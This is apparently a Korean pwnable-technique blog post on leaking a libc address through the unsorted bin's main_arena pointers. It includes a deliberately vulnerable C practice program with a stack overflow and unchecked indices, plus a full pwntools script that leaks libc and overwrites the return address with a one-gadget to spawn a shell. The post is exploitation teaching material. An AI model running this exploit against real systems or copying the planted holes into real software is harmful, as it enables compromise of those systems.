본문 바로가기
Pwnable/Techniques

Memory Leak

by Anatis 2021. 3. 3.

해제되면서 unsorted bin에 들어간 main_arena 영역의 주소가 FD와 BK에 쓰여진다.

 

main_arena는 libc.so.6 라이브러리에 존재하는 구조체이기 때문에 해당 주소를 알 수 있다면 계산을 통해 라이브러리 함수의 주소를 알안래 수 있다.

 

unsorted bin에 들어간 힙 청크의 크기와 같거나 작은 크기의 힙을 할당하면 같은 영역을 재사용하게 되면서, 힙 데이터를 출력할 수 있다면 main_arena 영역의 주소를 획득할 수 있다.

 

leak1.c

// gcc -o leak1 leak1.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *ptr = malloc(0x100);
    char *ptr2 = malloc(0x100);
    free(ptr);

    ptr = malloc(0x100);
    printf("0x%llx\n", *(long long *)ptr);

    return 0;
}

위 코드는 0x100 크기의 힙을 할당하고 해제하여 unsorted bin에 힙 청크를 삽입한다. 이때 해제된 ptr 청크의 FD와 BK 영역에 main_arena 영역의 주소가 쓰이게 된다.

 

이후에 unsorted bin에 들어간 청크의 크기보다 같거나 작은 크기의 힙 청크를 할당하여 데이터를 출력하면 main_arena 영역의 주소를 출력할 수 있다.

 

malloc 함수는 힙을 할당할 때 데이터 영역을 초기화하지 않기 때문에 데이터를 재사용 할 수 있다. 하지만 calloc과 같이 할당하는 동시에 초기화를 하는 함수를 사용하면 해당 방법으로 주소를 알아내는 것은 불가능하다.

 

leak2.c

// gcc -o leak2 leak2.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    char buf[256];
    char *ptr[10];
    int ch, idx;
    int i = 0;

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);

    while(1)
    {
        printf("> ");
        scanf("%d", &ch);

        switch(ch)
        {
            case 1:
                if(i > 10)
                {
                    printf("Do not overflow\n");
                    exit(0);
                }
                ptr[i] = malloc(0x100);
                printf("Data: ");
                read(0, ptr[i], 0x100);
                i++;
                break;
            
            case 2:
                printf("idx: ");
                scanf("%d", &idx);
                free(ptr[idx]);
                break;
            
            case 3:
                printf("idx: ");
                scanf("%d", &idx);
                if(i > 10)
                {
                    printf("Do not overflow\n");
                    exit(0);
                }
                printf("data: ");
                read(0, ptr[idx], 0x100);
                break;
            
            case 4:
                printf("idx: ");
                scanf("%d", &idx);
                if(i > 10)
                {
                    printf("Do not overflow\n");
                    exit(0);
                }
                printf("idx: %d\n", idx);
                printf("data: %s\n", ptr[idx]);
                break;
            
            case 5:
                read(0, buf, 300);
                return 0;
            
            default:
                break;
        }
    }
    return 0;
}

익스 시나리오

1. 해제된 힙 청크가 unsorted bin에 들어가기 위해서는 해제하려는 힙 크기가 fastbin의 크기보다 커야한다. 그리고 힙 청크가 힙 영역의 상단이 top chunk와 인접해있으면 안된다. 때문에 fastbin의 크기보다 큰 크기의 힙을 두 번 할당하고 첫 번째 힙을 해제한다.

 

2. 해제된 힙은 unsorted bin에 들어가면서 FD와 BK 포인터는 main_arena 영역의 주소를 가리키고 있게 된다.

 

3. 같은 크기인 0x100 크기의 청크를 할당하게 되면 해제된 영역을 재사용하면서 기존에 존재하는 main_arena 영역의 주소를 데이터로 가지게 된다.

 

4. 힙 데이터를 출력해주는 기능을 사용하여 main_arena 영역의 주소를 획득하고, 원샷 가젯의 주소를 계산한다.

 

5. 스택 버퍼 오버플로우를 통해 리턴 주소를 원샷 가젯으로 조작하여 셸을 획득한다.

 

힙을 두번 할당한 뒤 첫 번째 영역을 해제한 모습을 보면 unsorted bin에 해제한 0x110 크기의 힙이 들어가고 FD와 BK 포인터가 main_arena영역의 주소를 가리키고 있는 것을 확인할 수 있다.

 

같은 bin의 크기로 힙을 할당하게 되면 unsorted bin에 들어간 영역을 재사용해 할당할 것이다.

새로 할당된 힙이 해제된 영역을 재사용 하였고, 개행을 입력하였기 때문에 main_arena + 88 주소를 가진 FD 포인터의 첫 바이트가 0x0a인 것을 확인할 수 있다.

 

힙 데이터를 출력하고 main_arena 영역의 주소를 획득할 수 있고 원샷 가젯을 알아낸 후 주어진 스택 버퍼 오버플로우를 통해 리턴 주소를 원샷 가젯으로 조작하고 셸을 획득할 수 있다.

 

leak2.py

from pwn import *

p = process('./leak2')
elf = ELF('./leak2')

def add(data):
    print p.sendlineafter('>', '1')
    print p.sendlineafter(':', str(data))

def free(idx):
    print p.sendlineafter('>', '2')
    print p.sendlineafter(':', str(idx))

def edit(idx, data):
    print p.sendlineafter('>', '3')
    print p.sendlineafter(':', str(idx))
    print p.sendlineafter(':', str(data))

def show(idx):
    print p.sendlineafter('>', '4')
    print p.sendlineafter(':', str(idx))

def overflow(data):
    print p.sendlineafter('>', '5')
    print p.sendlineafter('', str(data))

add('AAAA') # 0
add('AAAA') # 1

free(0)

add('') # 2
show(2)

print p.recvuntil('data: ')
libc = u64(p.recv(6).ljust(8, '\x00'))
libc_base = libc - 0x3c4b0a
oneshot = libc_base + 0x45226
log.info('libc_base = ' + hex(libc_base))

overflow('A'*280 + p64(oneshot))

p.interactive()

'Pwnable > Techniques' 카테고리의 다른 글

Overlapping chunks  (0) 2021.03.03
Unosrted bin attack  (0) 2021.03.03
Unsafe unlink  (0) 2021.03.01
Fastbin dup consolidate  (0) 2021.02.28
Fastbin dup  (0) 2021.02.23

댓글